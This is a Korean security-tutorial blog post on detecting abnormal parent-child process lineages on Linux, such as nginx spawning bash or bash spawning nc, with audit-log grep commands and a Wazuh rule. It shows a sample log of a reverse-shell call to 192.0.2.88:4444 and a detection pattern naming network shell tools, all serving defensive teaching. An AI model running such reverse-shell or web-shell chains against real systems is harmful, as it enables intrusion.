261. 프로세스·지속성 — 부모-자식 관계 이상 탐지

changseop lee·6일 전

시스템 보안 · 취약점

목록 보기
261/450

시스템 보안 · 취약점 › F. 비정상 프로세스 · 지속성 징후 · 11/50편 (전체 261/450)
학습 단계: 비정상 프로세스 징후
실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」이며, IP·계정·호스트명은 가상의 값입니다.

선행 학습

1. 개념

계보 원리(F05)를 바탕으로, 공격에서 자주 나타나는 비정상 부모-자식 조합을 집중 탐지합니다. 특정 부모-자식 쌍은 정상 운영에 거의 없어, 발견 즉시 강한 신호가 됩니다.

공격 특유의 부모-자식 조합
 웹/DB 서비스 → 셸:   nginx/mysqld → sh/bash (웹셸)
 셸 → 네트워크 도구:  bash → nc/socat/curl (C2·다운로드)
 셸 → 다운로드+실행:  bash → wget → chmod → 실행
 cron/at → 셸·nc:     스케줄 → 백도어
 office/문서 → 셸:    (서버엔 드묾) 문서→셸

핵심: "정상 운영에서 이 부모가 이 자식을 만드는가?"

이 조합들은 ATT&CK에서 잘 알려진 탐지 패턴입니다. 정상 기준선에 없는 부모-자식 쌍을 룰로 탐지합니다.

2. 왜 중요한가

  • 특정 부모-자식 조합은 정상 운영에 거의 없어, 발견 즉시 높은 확신의 신호입니다.
  • 서비스→셸(웹셸), 셸→네트워크 도구(C2)는 공격의 전형적 계보입니다.
  • 계보 조합 탐지는 명령줄·경로 회피에 강합니다(계보는 숨기기 어려움).

3. 핵심 명령어 / 설정

부모 → 자식의미위험
웹/DB → 셸웹셸·DB 침해매우 높음
셸 → nc/socatC2·백도어높음
셸 → wget/curl→실행페이로드높음
cron → 셸/nc스케줄 백도어높음
systemd → 서비스정상정상

4. 실습 (실습 예시)

# 부모-자식 관계 이상 탐지 (분석 방법)
# 셸이 네트워크 도구를 생성한 경우
sudo ausearch -k proc_exec -i --start recent 2>/dev/null | grep -E 'comm="(nc|ncat|socat|curl|wget)"' | grep -E 'ppid_comm="(sh|bash|dash|zsh)"' | tail
# 웹/DB 서비스가 셸을 생성(F05 재확인)
sudo ausearch -k proc_exec -i --start recent 2>/dev/null | grep -E 'comm="(sh|bash)"' | grep -E 'ppid.*(nginx|httpd|mysqld)'

5. 정상 상태

$ (셸→네트워크 도구) (없음)
$ (서비스→셸) (없음)

셸이 네트워크 도구를 생성하지 않고, 서비스가 셸을 생성하지 않는, 정상 계보만 존재하는 상태입니다.

6. 이상 상태

$ (셸→네트워크 도구)
ppid_comm="bash" comm="nc" args="nc 192.0.2.88 4444 (-e 셸 실행 옵션)"
$ (서비스→셸)
ppid_comm="nginx" comm="bash"
  • bash가 nc 생성(리버스 셸 인자) → C2 백도어 계보
  • nginx가 bash 생성 → 웹셸 계보
  • 공격 특유의 부모-자식 조합 → 정탐(웹셸→C2)

7. 로그 분석 (분석 방법)

비정상 부모-자식 계보 분석입니다(가상의 예시).

[계보 체인]
nginx(985) → bash(3001) → nc(3002, →4444)
  │            │            └ C2 연결
  │            └ 셸(웹셸)
  └ 웹서버(비정상 부모)
= 웹셸 → 셸 → C2의 공격 계보
단계조합해석
nginx→bash서비스→셸웹셸
bash→nc셸→네트워크C2
전체웹→셸→C2공격 체인

계보 조합을 따라가면 웹셸→C2 공격이 명확히 드러납니다.

8. SOC 관제 포인트

  • 공격 특유의 부모-자식 조합(서비스→셸, 셸→네트워크 도구)은 강한 탐지 신호입니다.
  • 이 조합들은 정상 운영에 거의 없어 발견 즉시 높은 확신입니다.
  • 계보 조합 탐지는 명령줄·경로 회피에 강합니다.

9. 탐지 규칙

<!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 -->
<group name="local,syssec_f,process,">
  <!-- 셸이 네트워크 도구를 생성(C2·백도어 계보) -->
  <rule id="105100" level="13">
    <if_sid>105010</if_sid>
    <field name="audit.ppid_comm" type="pcre2">^(sh|bash|dash|zsh|ash)$</field>
    <field name="audit.comm" type="pcre2">^(nc|ncat|socat|curl|wget|telnet)$</field>
    <description>셸이 네트워크 도구 생성(C2·다운로드 계보)</description>
    <mitre><id>T1059</id><id>T1071</id></mitre>
  </rule>
</group>

부모-자식 조합 목록은 ATT&CK 기반으로 유지합니다. ppid_comm 추출이 핵심이며 Sysmon(F46)으로 보완합니다.

10. 대응 방법

  1. 초기 확인 — 비정상 부모-자식 조합(서비스→셸, 셸→네트워크)을 확인합니다.
  2. 범위 확인 — 계보를 따라 웹셸→셸→C2 공격 체인을 재구성합니다.
  3. 증거 확보 — 계보·조합·관련 실행 로그를 보존합니다.
  4. 차단/조치 — 비정상 계보 정탐이면 계보 전체 프로세스 종료·웹셸·C2 제거를 진행합니다.
  5. 재발 방지 — 부모-자식 조합 기반 계보 이상 탐지를 운영합니다.

11. 핵심 정리

부모 → 자식의미
웹/DB → 셸웹셸·DB 침해
셸 → nc/socatC2·백도어
셸 → wget→실행페이로드
cron → 셸/nc스케줄 백도어
면접 포인트"공격 특유 부모-자식 조합은 정상에 거의 없음 — 발견 즉시 높은 확신"

12. 다음 편 예고

다음 편 262. 프로세스·지속성 — 셸·인터프리터 비정상 실행 탐지 에서는 셸·인터프리터 비정상 실행을 다루는 셸·인터프리터 비정상 실행 탐지를 다룹니다.


이전 편: 260. 프로세스·지속성 — 위장(masquerading) 프로세스 탐지
📚 시리즈 전체 보기: 시스템 보안 · 취약점

profile
코드에 숨겨진 위협을 읽고 AI로 보안의 미래를 설계합니다. 프론트엔드 개발 경험을 자산 삼아 더 견고하고 지능적인 보안 운영 시스템을 구축해 나가는 과정을 기록합니다

0개의 댓글